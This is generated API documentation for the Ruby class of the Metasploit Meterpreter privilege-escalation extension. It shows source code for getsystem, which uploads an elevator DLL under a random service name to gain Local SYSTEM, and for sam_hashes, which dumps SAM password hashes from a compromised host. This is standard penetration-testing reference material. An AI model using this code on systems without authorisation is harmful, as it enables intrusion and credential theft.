Class: Rex::Post::Meterpreter::Extensions::Priv::Priv

Inherits:
Rex::Post::Meterpreter::Extension show all
Defined in:
lib/rex/post/meterpreter/extensions/priv/priv.rb

Overview

This meterpreter extensions a privilege escalation interface that is capable of doing things like dumping password hashes and performing local exploitation.

Instance Attribute Summary collapse

Attributes inherited from Rex::Post::Meterpreter::Extension

#name

Instance Method Summary collapse

Constructor Details

#initialize(client) ⇒ Priv

Initializes the privilege escalationextension.



25
26
27
28
29
30
31
32
33
34
35
36
37
38
 
# File 'lib/rex/post/meterpreter/extensions/priv/priv.rb', line 25

def initialize(client)
  super(client, 'priv')

  client.register_extension_aliases(
    [
      {
        'name' => 'priv',
        'ext'  => self
      },
    ])

  # Initialize sub-classes
  self.fs = Fs.new(client)
end

Instance Attribute Details

#fs ⇒ Object

Modifying privileged file system attributes.



101
102
103
 
# File 'lib/rex/post/meterpreter/extensions/priv/priv.rb', line 101

def fs
  @fs
end

Instance Method Details

#getsystem(technique = 0) ⇒ Object

Attempt to elevate the meterpreter to Local SYSTEM



43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
 
# File 'lib/rex/post/meterpreter/extensions/priv/priv.rb', line 43

def getsystem( technique=0 )
  request = Packet.create_request( 'priv_elevate_getsystem' )

  elevator_name = Rex::Text.rand_text_alpha_lower( 6 )

  elevator_path = MetasploitPayloads.meterpreter_path('elevator', client.binary_suffix)
  if elevator_path.nil?
    raise RuntimeError, "elevator.#{binary_suffix} not found", caller
  end

  elevator_data = ""

  ::File.open( elevator_path, "rb" ) { |f|
    elevator_data += f.read( f.stat.size )
  }

  request.add_tlv( TLV_TYPE_ELEVATE_TECHNIQUE, technique )
  request.add_tlv( TLV_TYPE_ELEVATE_SERVICE_NAME, elevator_name )
  request.add_tlv( TLV_TYPE_ELEVATE_SERVICE_DLL, elevator_data )
  request.add_tlv( TLV_TYPE_ELEVATE_SERVICE_LENGTH, elevator_data.length )

  # as some service routines can be slow we bump up the timeout to 90 seconds
  response = client.send_request( request, 90 )

  technique = response.get_tlv_value( TLV_TYPE_ELEVATE_TECHNIQUE )

  if( response.result == 0 and technique != nil )
    client.core.use( "stdapi" ) if not client.ext.aliases.include?( "stdapi" )
    client.sys.config.getprivs
    if client.framework.db and client.framework.db.active
      client.framework.db.report_note(
        :host => client.sock.peerhost,
        :workspace => client.framework.db.workspace,
        :type => "meterpreter.getsystem",
        :data => {:technique => technique}
      ) rescue nil
    end
    return [ true, technique ]
  end

  return [ false, 0 ]
end

#sam_hashes ⇒ Object

Returns an array of SAM hashes from the remote machine.



89
90
91
92
93
94
95
96
 
# File 'lib/rex/post/meterpreter/extensions/priv/priv.rb', line 89

def sam_hashes
  # This can take a long long time for large domain controls, bump the timeout to one hour
  response = client.send_request(Packet.create_request('priv_passwd_get_sam_hashes'), 3600)

  response.get_tlv_value(TLV_TYPE_SAM_HASHES).split(/\n/).map { |hash|
    SamUser.new(hash)
  }
end